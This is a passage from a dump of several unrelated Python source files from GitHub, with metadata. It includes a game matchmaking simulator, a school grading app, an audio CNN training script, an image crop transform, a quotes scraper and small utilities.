spam\r\n if queue.size == 0:\r\n queue = np.append(queue, random.choice(playerArr))\r\n pass\r\n if queue.size> maxQueueSize:\r\n maxQueueSize = queue.size\r\n \r\n else:\r\n newPlayer = random.choice(playerArr)\r\n addPos = np.searchsorted(queue, newPlayer)\r\n if newPlayer in queue:\r\n pass #can't play against themself\r\n else:\r\n addPos = np.searchsorted(queue, newPlayer)\r\n try:\r\n opponent = queue[addPos]\r\n except IndexError as error: #always occurs at the end of the list. \r\n queue = np.insert(queue, addPos, newPlayer)\r\n pass \r\n try: \r\n if allowMatch(newPlayer, opponent, mode = mode, cardLvlRule = cardLvlRule, KTdiff = KTdiff, KTcutoff = KTcutoff):\r\n newPlayer.playMatch(opponent, gatesList = gatesList)\r\n matchesPlayed += 1\r\n queue = np.delete(queue, addPos)\r\n else:\r\n queue = np.insert(queue, addPos, newPlayer) \r\n except UnboundLocalError as error:\r\n print(\"Error\")\r\n playerArr.sort()\r\n return playerArr\r\n\r\ndef KTsim(playerArr, numMatches, KTdiff = 1, KTcutoff = 6000, gatesList = [5000]):\r\n \"\"\"Simulates a king tower matchmaking system, but uses separate queues to optimize performance\r\n Args: \r\n playerArr: Array of player objects, sorted by trophies\r\n numMatches: number of matches to be played\r\n KTdiff: The difference in king tower between 2 players matched against each other\r\n KTcutoff: The point where king tower matchmaking ends\"\"\"\r\n queueDict = {}\r\n for kt in range(8, 15):\r\n queueDict[str(kt)] = np.asarray([]) #separated queue for players under cutoff (MUCH FASTER)\r\n if max(playerArr).trophies >= KTcutoff:\r\n generalQueue = np.asarray([max(playerArr)]) #general queue for players over the cutoff\r\n else:\r\n generalQueue = np.asarray([])\r\n matchesPlayed = 0\r\n while matchesPlayed < numMatches:\r\n if matchesPlayed %(numMatches//10) == 0:\r\n print(matchesPlayed)\r\n newPlayer = random.choice(playerArr)\r\n if newPlayer.trophies > KTcutoff:\r\n addPos= np.searchsorted(generalQueue, newPlayer)\r\n if addPos == generalQueue.size:\r\n addPos = addPos - 1\r\n opponent = generalQueue[addPos]\r\n try: \r\n if allowMatch(newPlayer,opponent,mode='KT',KTdiff=KTdiff,KTcutoff=KTcutoff):\r\n newPlayer.playMatch(opponent, gatesList = gatesList)\r\n matchesPlayed += 1\r\n generalQueue = np.delete(generalQueue, addPos)\r\n else:\r\n generalQueue = np.insert(generalQueue, addPos, newPlayer) \r\n except UnboundLocalError as error:\r\n print(\"Error\")\r\n else: #need to use KT queues\r\n opponent = findOpponent(queueDict, newPlayer, KTdiff, KTcutoff)\r\n if opponent == newPlayer: #there is no opponents, add to proper queue\r\n queueDict = addToQueue(queueDict, newPlayer)\r\n else:\r\n newPlayer.playMatch(opponent,gatesList = gatesList)\r\n matchesPlayed += 1\r\n queueDict = remFromQueue(queueDict, opponent)\r\n playerArr.sort()\r\n return playerArr\r\n\r\ndef trophyCapSim(playerArr, numMatches, capList):\r\n \"\"\"Simulates the ladder when all matches are capped by the trophy range at which the match occurs. No King Tower, No Card Level mm\r\n Args:\r\n playerArr: Array of player Objects\r\n numMatches: int-Number of matches to play. \r\n capList: List of 6 integers representing where card levels are capped. \r\n [5300, 5600, 6000, 6300, 6600, 7000] means matches below 5300 are capped at 64 levels, below 5600 is capped at 72 lvls and so on\"\"\"\r\n queue = np.asarray([random.choice(playerArr)], dtype = object)\r\n matchesPlayed = 0\r\n while matchesPlayed < numMatches:\r\n if matchesPlayed %(numMatches//10) == 0:\r\n print(matchesPlayed)\r\n if queue.size == 0:\r\n queue = np.append(queue, random.choice(playerArr))\r\n pass\r\n else:\r\n newPlayer = random.choice(playerArr)\r\n addPos = np.searchsorted(queue, newPlayer)\r\n if newPlayer in queue:\r\n pass #can't play against themself\r\n else:\r\n addPos = np.searchsorted(queue, newPlayer)\r\n if addPos == queue.size:\r\n addPos += -1\r\n opponent = queue[addPos]\r\n else:\r\n opponent = queue[addPos]\r\n if allowMatch(newPlayer, opponent):\r\n originalLevels = [newPlayer.cardLevel, opponent.cardLevel]\r\n cap = (8 + np.searchsorted(capList, min(newPlayer.trophies, opponent.trophies)))*8\r\n newPlayer.cardLevel = min(newPlayer.cardLevel, cap)\r\n opponent.cardLevel = min(opponent.cardLevel, cap)\r\n newPlayer.playMatch(opponent)\r\n matchesPlayed += 1\r\n queue = np.delete(queue, addPos)\r\n newPlayer.cardLevel = originalLevels[0]\r\n opponent.cardLevel = originalLevels[1]\r\n else:\r\n queue = np.insert(queue, addPos, newPlayer)\r\n playerArr.sort()\r\n return playerArr\r\n\r\n\r\ndef capByTrophies(playerArr, caps):\r\n \"\"\"Caps a player's card level with their trophies\r\n Caps are based off of the max avg card lvl: 72, 80, 88, 96, 104, 112. Below first, capped at 64\r\n Args:\r\n playerArr- array of player objects\r\n caps: List of 6 items representing the trophy locations where card lvls are capped at. \r\n\r\n Returns:list of original card levels\r\n \"\"\"\r\n originalLvls = [p.cardLevel for p in playerArr]\r\n for pla in playerArr:\r\n cap = (8 + np.searchsorted(caps, pla.trophies))*8\r\n pla.cardLevel = min(pla.cardLevel, cap)\r\n return originalLvls\r\n\r\n\r\ndef addToQueue(qDict,player):\r\n \"\"\"adds the player to the correct queue in the qDict\"\"\"\r\n key = str(int(player.kt))\r\n q = qDict[key]\r\n if q.size == 0:\r\n qDict[key] = np.append(q, player)\r\n elif player not in q:\r\n addPos = np.searchsorted(q, player)\r\n qDict[key] = np.insert(q, addPos, player)\r\n return qDict\r\n\r\ndef remFromQueue(qDict, player):\r\n \"\"\"Removes the player from the correct queue in the qDict\"\"\"\r\n key = str(int(player.kt))\r\n q = qDict[key]\r\n delPos = np.searchsorted(q, player)\r\n if delPos == q.size:\r\n delPos = delPos-1\r\n qDict[key] = np.delete(q, delPos)\r\n return qDict \r\n\r\ndef findOpponent(qDict, p, ktDiff, ktCutoff):\r\n \"\"\"Finds an opponent if p.trophies is under the KT threshold. \r\n Only called this if ktCutoffRule(p) == False \r\n ktDiff >=0 \"\"\"\r\n key = int(p.kt) #ensure int, not float\r\n orderToCheck = [str(key)]\r\n for diff in range(1, ktDiff+1):\r\n if 8 <= key + diff <= 14:\r\n orderToCheck += [str(key + diff)]\r\n if 8<= key - diff <= 14:\r\n orderToCheck += [str(key - diff)]\r\n for ktQueue in orderToCheck:\r\n q = qDict[ktQueue]\r\n addPos = np.searchsorted(q, p)\r\n if q.size == 0:\r\n pass\r\n elif addPos == q.size:\r\n opponent = q[addPos-1]\r\n else:\r\n opponent = q[addPos]\r\n try:\r\n if allowMatch(p, opponent, mode = 'KT', KTdiff = ktDiff, KTcutoff = ktCutoff):\r\n return opponent\r\n except UnboundLocalError as error:\r\n pass\r\n return p\r\n\r\ndef allowMatch(p1, p2, mode = None, cardLvlRule = 100, CLcutoff = 5000, KTdiff = 0, KTcutoff = 5000):\r\n \"\"\"Checks if a match is allowed with the card level an king tower rules\r\n Args:\r\n p1: Player object\r\n p2: PLayer object\r\n mode: Type of matchmaking. Either None, 'KT' or CL\r\n cardLevelRule - int, the maximum difference allowed in card levels\r\n CLcutoff- int, Max trophes where card level MM occurs\r\n KTdiff- int, maximum difference in king tower\r\n KTcutoff- int, max trophies where king tower MM occurs \"\"\"\r\n cardRule = lambda p1, p2: abs(p1.cardLevel - p2.cardLevel) < cardLvlRule\r\n KTDiffRule = lambda p1, p2: abs(p1.kt - p2.kt) <= KTdiff\r\n if p1.id == p2.id:\r\n return False\r\n elif p1.matchAllowed(p2) == False:\r\n return False\r\n elif mode == 'CL':\r\n return cardRule(p1, p2) or p1.trophies > CLcutoff\r\n elif mode == 'KT':\r\n return KTDiffRule(p1, p2) or p1.trophies > KTcutoff \r\n elif mode == 'KTCL': #Specialized simulation for this hasn't been made\r\n return (KTDiffRule(p1, p2) or p1.trophies > KTcutoff) and cardRule(p1, p2)\r\n else:\r\n return True\r\n \r\ndef plots(data, filename):\r\n \"\"\"Makes 6 plots from the data and saves them:\r\n Bar graph of Lvl diff/Match vs King Tower\r\n Bar graph of lvl diff/match vs card level\r\n Histogram of Trophies and King Tower\r\n Histogram of card levels and king tower\r\n Scatterplot of card lvls vs trophies\r\n Scatterplot of lvl diff/match vs trophies\r\n \r\n Args: \r\n data: Numpy array of player objects\r\n filename: String to be used as the file name\r\n \"\"\"\r\n df = arrToDF(data)\r\n df2 = arrToDF(sepByCards(data))\r\n plt.figure(figsize = (6, 6))\r\n sns.barplot(x = \"King Tower\", y = \"LvlDiff/Match\", data = df)\r\n plt.savefig(filename + '1')\r\n plt.close()\r\n \r\n plt.figure(figsize = (20,6))\r\n sns.barplot(x = \"Card Level\", y = \"LvlDiff/Match\", data = df)\r\n plt.xticks(rotation = -45)\r\n plt.savefig(filename + '2')\r\n plt.close()\r\n\r\n plt.figure(figsize = (20, 8))\r\n sns.histplot(data = df,\r\n x = 'Trophies', \r\n hue = 'King Tower',\r\n stat = 'count',\r\n palette = PALETTE,\r\n multiple = 'stack')\r\n plt.savefig(filename + '3')\r\n plt.close()\r\n\r\n plt.figure(figsize = (20, 8))\r\n sns.histplot(data=df2, \r\n x = 'Trophies',\r\n hue = 'Card Level',\r\n stat = 'count',\r\n palette = sns.color_palette(\"CMRmap_r\", n_colors = 13),\r\n multiple = 'stack')\r\n plt.savefig(filename + '4')\r\n plt.close()\r\n \r\n plt.figure(figsize = (16, 8)) \r\n sns.relplot(data = df, x = \"Trophies\", y = \"Card Level\", hue = \"King Tower\", palette = PALETTE)\r\n plt.savefig(filename + '5')\r\n plt.close()\r\n\r\n plt.figure(figsize = (20, 8))\r\n sns.relplot(data = df, x='Trophies', y = 'LvlDiff/Match', hue = 'King Tower', palette = PALETTE)\r\n plt.savefig(filename + '6')\r\n plt.close()\r\n \r\ndef sepByCards(arr):\r\n \"\"\"Separates an array of player objecs by cards\r\n Args:\r\n arr: Array of player objects\r\n \"\"\"\r\n playerCopy = [] #need to deepcopy the array\r\n for p in arr:\r\n new = pl.Player(id = p.id,\r\n trophies=p.trophies,\r\n wins=p.wins,\r\n losses=p.losses,\r\n kingLevel=p.kt,\r\n cardLevel=p.cardLevel, \r\n totalLvlDiff=p.totalLvlDiff)\r\n playerCopy += [new]\r\n newArr = np.asarray(playerCopy)\r\n for player in newArr:\r\n if 60 <= player.cardLevel <= 63:\r\n player.cardLevel = '60-63'\r\n elif 64 <= player.cardLevel <= 67:\r\n player.cardLevel = '64-67'\r\n elif 68 <= player.cardLevel <= 71:\r\n player.cardLevel = '68-71'\r\n elif 72 <= player.cardLevel <= 75:\r\n player.cardLevel = '72-75'\r\n elif 76 <= player.cardLevel <= 79:\r\n player.cardLevel = '76-79'\r\n elif 80 <= player.cardLevel <= 83:\r\n player.cardLevel = '80-83'\r\n elif 84 <= player.cardLevel <= 87:\r\n player.cardLevel = '84-87'\r\n elif 88 <= player.cardLevel <= 91:\r\n player.cardLevel = '88-91'\r\n elif 92 <= player.cardLevel <= 95:\r\n player.cardLevel = '92-95'\r\n elif 96 <= player.cardLevel <= 99:\r\n player.cardLevel = '96-99'\r\n elif 100 <= player.cardLevel <= 103:\r\n player.cardLevel = '100-103'\r\n elif 104 <= player.cardLevel <= 107:\r\n player.cardLevel = '104-107'\r\n elif 108 <= player.cardLevel:\r\n player.cardLevel = '108-112'\r\n return newArr\r\n\r\ndef arrToDF(arr):\r\n \"\"\"Converts an array of player objects to a dataframe\r\n Args: arr- Array of Player objects\r\n Returns: dataframe. \r\n \"\"\"\r\n #dataInLists = [p.getData() + [(p.totalLvlDiff/(p.wins+p.losses))] for p in arr]\r\n dataInLists = []\r\n for p in arr:\r\n new = p.getData()\r\n if p.wins+p.losses == 0:\r\n new += [0]\r\n else:\r\n new += [(p.totalLvlDiff/(p.wins+p.losses))]\r\n dataInLists += [new]\r\n return pd.DataFrame(data = dataInLists, columns = COLS)\r\n \r\ndef storeDF(df, filename):\r\n \"\"\"Stores the dataframe in csv file filename\r\n Args:\r\n df: Dataframe to store\r\n filename: string, name of file\"\"\"\r\n df.to_csv(filename, index_label = False)\r\n \r\ndef dfToArr(df, reset = False):\r\n \"\"\"Converts a dataframe back into a numpy array of player objects\r\n Args\r\n df: A dataFrame with the data to be converted to an array of objects\"\"\"\r\n arrays = df.to_numpy()\r\n playerList = []\r\n if reset:\r\n for p in arrays:\r\n new = pl.Player(id = p[0], trophies = p[1],wins=0,losses =0, kingLevel=p[4],cardLevel = p[5],totalLvlDiff=0)\r\n new.reset()\r\n playerList += [new]\r\n else:\r\n for p in arrays:\r\n new = pl.Player(id = p[0],trophies=p[1],wins=p[2],losses=p[3],kingLevel=p[4],cardLevel=p[5], totalLvlDiff=p[6])\r\n playerList += [new]\r\n return np.asarray(playerList)\r\n\r\ndef CLsim(playerArr, numMatches, CLrule, CLcutoff, gatesList = [5000]):\r\n \"\"\"Card level matchmaking simulation\r\n Args:\r\n playerArr: Array of player objects\r\n numMatches: int, number of matches to play\r\n CLrule: int, The max difference in card lvls between 2 players\r\n CLcutoff: int, the max trophes where CL mm occurs\r\n gatesList: List of ints representing trophy gates. \r\n \"\"\"\r\n queueDict = createDict()\r\n matchesPlayed = 0\r\n generalQueue = np.asarray([])\r\n while matchesPlayed < numMatches:\r\n if matchesPlayed %(numMatches//10) == 0:\r\n print(matchesPlayed)\r\n newPlayer = random.choice(playerArr)\r\n if newPlayer.trophies > CLcutoff:\r\n addPos= np.searchsorted(generalQueue, newPlayer)\r\n if generalQueue.size == 0:\r\n generalQueue = np.append(generalQueue, newPlayer)\r\n pass\r\n elif addPos == generalQueue.size:\r\n addPos = addPos - 1\r\n opponent = generalQueue[addPos]\r\n try: \r\n if allowMatch(newPlayer,opponent,mode='CL',cardLvlRule=CLrule,CLcutoff=CLcutoff):\r\n newPlayer.playMatch(opponent, gatesList = gatesList)\r\n matchesPlayed += 1\r\n generalQueue = np.delete(generalQueue, addPos)\r\n else:\r\n generalQueue = np.insert(generalQueue, addPos, newPlayer) \r\n except UnboundLocalError as error:\r\n print(\"Error\")\r\n else: #need to use CL queues\r\n opponent = findOppCL(queueDict, newPlayer, CLrule)\r\n if opponent == newPlayer: #there is no opponents, add to proper queue\r\n queueDict = addToCQ(queueDict, newPlayer)\r\n else:\r\n newPlayer.playMatch(opponent,gatesList = gatesList)\r\n matchesPlayed += 1\r\n queueDict = remFromCQ(queueDict, opponent)\r\n playerArr.sort()\r\n return playerArr\r\n\r\ndef createDict():\r\n \"\"\"Creates a card level dictionary\"\"\"\r\n d = {}\r\n for level in range(60, 113):\r\n d[str(level)] = np.asarray([], dtype = object)\r\n return d\r\n\r\ndef addToCQ(qDict, player):\r\n \"\"\"Adds a player to the card level queue\"\"\"\r\n key = str(int(player.cardLevel))\r\n q = qDict[key]\r\n if q.size == 0:\r\n qDict[key] = np.append(q, player)\r\n elif player not in q:\r\n addPos = np.searchsorted(q, player)\r\n qDict[key] = np.insert(q, addPos, player)\r\n return qDict\r\n\r\ndef remFromCQ(qDict, player):\r\n \"\"\"Removes a player from a card level based queue\"\"\"\r\n key = str(int(player.cardLevel))\r\n q = qDict[key]\r\n delPos = np.searchsorted(q, player)\r\n if delPos == q.size:\r\n delPos = delPos-1\r\n qDict[key] = np.delete(q, delPos)\r\n return qDict \r\n\r\ndef findOppCL(qDict, p, CLrule):\r\n \"\"\"Finds an opponent in a card level matchmaking ladder. \r\n Args:\r\n qDict: A dictionary of card level queues\r\n p: A player object \r\n CLrule: Integer, a number of card levels difference to check \"\"\"\r\n key = int(p.cardLevel) #ensure int, not float\r\n orderToCheck = [str(key)]\r\n for diff in range(1, CLrule+1):\r\n if 60 <= key + diff <= 112:\r\n orderToCheck += [str(key + diff)]\r\n if 60<= key - diff <= 112:\r\n orderToCheck += [str(key - diff)]\r\n for clQueue in orderToCheck:\r\n q = qDict[clQueue]\r\n addPos = np.searchsorted(q, p)\r\n if q.size == 0:\r\n pass\r\n elif addPos == q.size:\r\n opponent = q[addPos-1]\r\n else:\r\n opponent = q[addPos]\r\n try:\r\n if allowMatch(p, opponent, mode = 'CL', cardLvlRule=CLrule):\r\n return opponent\r\n except UnboundLocalError as error:\r\n pass\r\n return p\r\n \r\n\r\ndef test(initialArr, matchesPerSzn, filename, mode = None, CLrule = 100, CLcutoff= 5000, KTrule=1, KTcutoff = 1, gatesList = [5000]):\r\n \"\"\"Runs 5 seasons of a simulation\"\"\"\r\n data = initialArr\r\n for season in [1, 2, 3, 4,5]:\r\n if mode == None: \r\n data = continueSim(data, numMatches = matchesPerSzn, mode = None)\r\n print(f\"Season {season} Complete\")\r\n elif mode == 'KT':\r\n data = KTsim(data, numMatches = matchesPerSzn, KTdiff = KTrule, KTcutoff = KTcutoff)\r\n print(f\"Season {season} Complete\")\r\n elif mode == 'CL':\r\n data = CLsim(data, matchesPerSzn, CLrule, CLcutoff)\r\n print(f\"Season {season} Complete\")\r\n if season == 5:\r\n break\r\n else:\r\n for p in data:\r\n p.reset()\r\n #plots(data, filename)\r\n return data \r\n\r\ndef finalSimulation():\r\n \"\"\"Uses the result of 70 million battles to play out the most fair matchmaking rules for numSeason seasons.\r\n Rules: No KTmm, No CLmm, Trophy caps are [5300, 5600, 6000, 6300, 6600, 7000]. \r\n Plays 16 million battles per season for 12 seasons\"\"\"\r\n kingTowers = []\r\n playerL = []\r\n while len(kingTowers) < 100000: #initialize king towers\r\n kt = round(random.gauss(11, 1.5))\r\n if kt in range(8, 15):\r\n kingTowers += [kt]\r\n else:\r\n pass\r\n for i in range(100000): #establish player array\r\n kt = kingTowers[i]\r\n newP = pl.createRealPlayers(kingLvl = kt,id = i, skill = random.gauss(0.5, 0.16667), pp = random.gauss(0.2, 0.15))\r\n playerL += [newP]\r\n playerArr = np.asarray(playerL)\r\n queue = np.asarray([random.choice(playerArr)], dtype = object)\r\n matchesPlayed = 0\r\n for season in range(1,13):\r\n while matchesPlayed < 16000000:\r\n if matchesPlayed %(2400000) == 0:\r\n print(matchesPlayed)\r\n if queue.size == 0:\r\n queue = np.append(queue, random.choice(playerArr))\r\n pass\r\n else:\r\n newPlayer = random.choice(playerArr)\r\n if newPlayer in queue:\r\n pass #can't play against themself\r\n elif random.random() < newPlayer.pp: #player isn't playing ladder\r\n pass\r\n else:\r\n addPos = np.searchsorted(queue, newPlayer)\r\n if addPos == queue.size:\r\n addPos += -1\r\n opponent = queue[addPos]\r\n else:\r\n opponent = queue[addPos]\r\n if allowMatch(newPlayer, opponent):\r\n originalLevels = [newPlayer.cardLevel, opponent.cardLevel]\r\n cap = (8 + np.searchsorted([5300, 5600, 6000, 6300, 6600, 7000], min(newPlayer.trophies, opponent.trophies)))*8\r\n newPlayer.cardLevel = min(newPlayer.cardLevel, cap)\r\n opponent.cardLevel = min(opponent.cardLevel, cap)\r\n newPlayer.playMatch(opponent)\r\n matchesPlayed += 1\r\n queue = np.delete(queue, addPos)\r\n newPlayer.cardLevel = originalLevels[0]\r\n opponent.cardLevel = originalLevels[1]\r\n else:\r\n queue = np.insert(queue, addPos, newPlayer)\r\n print(f\"Season {season} complete\")\r\n for p in playerArr:\r\n p.reset()\r\n matchesPlayed = 0\r\n playerArr.sort()\r\n return playerArr\r\n\r\n\r\n \r\n\r\n\r\n\r\n","repo_name":"NovaLight53/CRLadder","sub_path":"ladderSim2.py","file_name":"ladderSim2.py","file_ext":"py","file_size_in_byte":24937,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"73931269159","text":"import re\r\nfrom tkinter import messagebox\r\n\r\ndef ppp(data):\r\n f = re.split(\"\\*|\\n\", data)\r\n if f[-1]==\"\":\r\n f.pop()\r\n return f\r\n\r\ndef rewrite(list,name):\r\n f = open(f\"{name}.txt\",\"w\")\r\n for i in range(0,len(list),2):\r\n reg = f\"{list[i]}*{list[i+1]}\\n\"\r\n f.write(reg)\r\n f.close()\r\n\r\ndef getjob(us,ps):\r\n f = open(\"server.txt\",\"r\")\r\n global f2\r\n f2 = f.read()\r\n f2 = ppp(f2)\r\n f.close()\r\n isthere = False\r\n for i in range(1,len(f2),4):\r\n if us == f2[i] and ps == f2[i+2]:\r\n isthere = True\r\n global ind\r\n ind = i\r\n return f2[i+1]\r\n if not isthere:\r\n messagebox.showerror(title=\"ERROR!\",message=\"The ID doesn't exist or password is wrong!\")\r\n return\r\n\r\ndef tmaker(us,sc):\r\n global error\r\n error = False\r\n if int(sc) > 20 :\r\n messagebox.showerror(title=\"ERROR!\",message=\"Score you entered is more than 20\")\r\n error = True\r\n return\r\n elif int(sc) < 0 :\r\n messagebox.showerror(title=\"ERROR!\",message=\"Score you entered is less than 20\")\r\n error = True\r\n return\r\n isthere = False\r\n for i in range(len(f2)):\r\n if f2[i]==us:\r\n name = f2[i-1]\r\n isthere=True\r\n break\r\n if isthere==False:\r\n messagebox.showerror(title=\"ERROR!\",message=\"The student doesn't exist!\")\r\n error = True\r\n return\r\n try:\r\n f = open(f\"{f2[ind-1]}.txt\",\"r\")\r\n f3 = f.read()\r\n f3 = ppp(f3)\r\n f.close()\r\n edit = False\r\n for i in range(len(f3)):\r\n if f3[i]==name:\r\n edit = True\r\n f3[i+1]=sc\r\n rewrite(f3, f2[ind-1])\r\n break\r\n if edit==False:\r\n f = open(f\"{f2[ind-1]}.txt\",\"a\")\r\n reg = f\"{name}*{sc}\\n\"\r\n f.write(reg)\r\n f.close()\r\n except FileNotFoundError:\r\n f = open(f\"{f2[ind-1]}.txt\",\"a\")\r\n reg = f\"{name}*{sc}\\n\"\r\n f.write(reg)\r\n f.close()\r\n\r\ndef display():\r\n try:\r\n f = open(f\"{f2[ind-1]}.txt\",\"r\")\r\n f3 = f.read()\r\n f3 = ppp(f3)\r\n f.close()\r\n a = \"\"\r\n for i in range(0,len(f3),2):\r\n a += f\"{f3[i]}\\t{f3[i+1]}
-----------------------------
\"\r\n except FileNotFoundError:\r\n a = \"NO SCORE YET!\"\r\n return a\r\n\r\ndef getname():\r\n return f2[ind-1]\r\n\r\ndef smaker(us,sc):\r\n if error==False:\r\n for i in range(len(f2)):\r\n if us == f2[i]:\r\n name = f2[i-1]\r\n break\r\n f = open(\"sub.txt\",\"r\")\r\n f3 = f.read()\r\n f.close()\r\n f3 = ppp(f3)\r\n for i in range(len(f3)):\r\n if f3[i]==f2[ind]:\r\n sub = f3[i+1]\r\n break\r\n f = open(f\"{name}.txt\",\"a\")\r\n reg = f\"{sub}*{sc}\\n\"\r\n f.write(reg)\r\n f.close()","repo_name":"AlirezaDZs/School","sub_path":"school/starter.py","file_name":"starter.py","file_ext":"py","file_size_in_byte":2917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28450750303","text":"import torch\nimport torchaudio\nfrom torch import nn\nfrom torch.utils.data import DataLoader\nfrom UrbanSoundDataset import UrbanSoundDataset\nfrom cnn import CNNNetwork\n\nBATCH_SIZE = 128\nEpochs = 10\nLEARNING_RATE = 0.001\nANNOTATIONS_FILE = \"../data/UrbanSound8K/metadata/UrbanSound8K.csv\"\nAUDIO_DIR = \"../data/UrbanSound8K/audio\"\nSAMPLE_RATE = 22050 # 采样率\nNUM_SAMPLES = 22050 # 样本数量\n\n\ndef create_data_loader(train_data, batch_size):\n train_dataloader = DataLoader(train_data, batch_size=batch_size)\n return train_dataloader\n\n\ndef train_single_epoch(model, data_loader, loss_fn, optimiser, device):\n for input, targets in data_loader:\n input, targets = input.to(device), targets.to(device)\n\n # calculate loss #每一个batch计算loss\n # 使用当前模型获得预测\n predictions = model(input)\n loss = loss_fn(predictions, targets)\n\n # backpropagate loss and update weights\n optimiser.zero_grad() # 在每个batch中让梯度重新为0\n loss.backward() # 反向传播\n optimiser.step()\n\n print(f\"Loss: {loss.item()}\") # 打印最后的batch的loss\n\n\ndef train(model, data_loader, loss_fn, optimiser, device, epochs):\n for i in range(epochs):\n print(f\"Epoch {i+1}\")\n train_single_epoch(model, data_loader, loss_fn, optimiser, device)\n print(\"---------------------\")\n print(\"Training is down.\")\n\n\nif __name__ == \"__main__\":\n if torch.cuda.is_available():\n device = \"cuda\"\n else:\n device = \"cpu\"\n print(f\"Using {device} device\")\n # instantiating our dataset object and create data loader\n mel_spectrogram = torchaudio.transforms.MelSpectrogram(\n sample_rate=SAMPLE_RATE,\n n_fft=1024,\n hop_length=512,\n n_mels=64\n ) # 将mel频谱图传递给usd\n # ms = mel_spectrogram(signal)\n usd = UrbanSoundDataset(ANNOTATIONS_FILE,\n AUDIO_DIR,\n mel_spectrogram,\n SAMPLE_RATE,\n NUM_SAMPLES,\n device)\n\n train_dataloader = create_data_loader(usd, BATCH_SIZE)\n # build model\n\n cnn = CNNNetwork().to(device)\n print(cnn)\n\n # instantiate loss function + opptimiser\n loss_fn = nn.CrossEntropyLoss()\n optimiser = torch.optim.Adam(cnn.parameters(),\n lr=LEARNING_RATE)\n\n # train model\n train(cnn, train_dataloader, loss_fn, optimiser, device, Epochs)\n\n torch.save(cnn.state_dict(), \"../model/feedforwardnet.pth\")\n print(\"Model trained and stored at ../model/feedforwardnet.pth\")\n","repo_name":"Hepecho/Content_Security","sub_path":"sr/lab3/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33601285228","text":"from __future__ import print_function, division\nimport numpy as np\nimport torchvision.transforms as transforms\nimport torchvision.transforms.functional as TF\n\n\nclass RandomCrop(object):\n def __init__(self, size):\n self.size = size\n\n def __call__(self, sample):\n if np.random.random() < 0.5:\n image = sample['image']\n i, j, h, w = transforms.RandomCrop.get_params(image, output_size=(int(image.shape[1] * self.size), int(image.shape[2] * self.size)))\n image = transforms.ToTensor()(TF.crop(transforms.ToPILImage()(image), i, j, h, w))\n\n sample['image'] = image\n fingers = []\n frets = []\n strings = []\n for finger in sample['finger_coord']:\n fingers.append([finger[0] - j, finger[1] - i])\n for fret in sample['fret_coord']:\n frets.append([fret[0] - j, fret[1] - i])\n for string in sample['string_coord']:\n strings.append([string[0] - j, string[1] - i])\n sample['finger_coord'] = np.array(fingers)\n sample['fret_coord'] = np.array(frets)\n sample['string_coord'] = np.array(strings)\n\n return sample\n","repo_name":"AlbertMitjans/chord-detection","sub_path":"transforms/rand_crop.py","file_name":"rand_crop.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"37203854356","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom time import sleep\nfrom csv import DictWriter\n\ndef scrape():\n all_quotes = []\n base_url = \"http://quotes.toscrape.com/\" #base url that we are going to scrape\n url = \"/page/1\" #page1 \n\n while url:\n res = requests.get(f\"{base_url}{url}\")\n soup = BeautifulSoup(res.text,\"html.parser\")\n quotes = soup.find_all(class_ = \"quote\")\n for quote in quotes:\n all_quotes.append(\n {\n \"text\":quote.find(class_=\"text\").get_text(),\n \"author\":quote.find(class_=\"author\").get_text(),\n \"bio-link\" : quote.find(\"a\")[\"href\"]\n }\n )\n btnnext = soup.find(class_=\"next\")\n if btnnext:\n url = btnnext.find(\"a\")[\"href\"] #Go through the next button field to go to the end of the website to get all the quotes\n else:\n url = None\n sleep(3)\n return all_quotes\n\n\ndef write_quotes_CSV(quotes):\n with open(\"quotes.csv\",\"w\") as file:\n headers = ['text','author','bio-link']\n csv_writer = DictWriter(file,fieldnames=headers)\n csv_writer.writeheader()\n for quote in quotes:\n csv_writer.writerow(quote)\n print(\"Quotes written successfully\")\n\nall_quotes = scrape()\nwrite_quotes_CSV(all_quotes)\n","repo_name":"aryabiju37/fun_projects","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28790545802","text":"from itertools import permutations\n\n\ndef main():\n perms = [''.join(p) for p in permutations('abcd')]\n print(len(perms))\n\n aa = [''.join(p) for p in permutations('abcdaa')] # 2 As\n aa_set = set(aa)\n\n ab = [''.join(p) for p in permutations('abcdab')] # 1 A 1 B\n ab_set = set(ab)\n\n ac = [''.join(p) for p in permutations('abcdac')] # 1 A 1 C\n ac_set = set(ac)\n\n ad = [''.join(p) for p in permutations('abcdad')] # 1 A 1 D\n ad_set = set(ad)\n\n bb = [''.join(p) for p in permutations('abcdbb')] # 2 Bs\n bb_set = set(bb)\n\n bc = [''.join(p) for p in permutations('abcdbc')] # 1 B 1 C\n bc_set = set(bc)\n\n bd = [''.join(p) for p in permutations('abcdbd')] # 1 B 1 D\n bd_set = set(bd)\n\n cc = [''.join(p) for p in permutations('abcdcc')] # 2 Cs\n cc_set = set(cc)\n\n cd = [''.join(p) for p in permutations('abcdcd')] # 1 C 1 D\n cd_set = set(cd)\n\n dd = [''.join(p) for p in permutations('abcddd')] # 2 Ds\n dd_set = set(dd)\n\n combine = aa_set|ab_set|ac_set|ad_set|bb_set|bc_set|bd_set|cc_set|cd_set|dd_set\n check = 0\n print(sorted(combine))\n\n\nif __name__ == \"__main__\":\n \"\"\" This is executed when run from the command line \"\"\"\n main()\n","repo_name":"juanm707/SonomaStateCourseWork","sub_path":"cs454/abcd.py","file_name":"abcd.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"21915306536","text":"import csv\nimport time\nimport pandas as pd\nimport json\nimport ast\n\ndf = pd.read_csv('./2.csv')\n#df.dropna(inplace = True)\n \ndef MixMaxNormalized(cellVal, MinVal, MaxVal):\n\treturn (cellVal - MinVal)/(MaxVal - MinVal)\n\nif __name__ == '__main__':\n\tAmountFinal_Normalized = []\n\tMarginPer_Normalized = []\n\tFactoriesFinal_Normalized = []\n\tADI_Normalized = []\n\n\tmi1 = 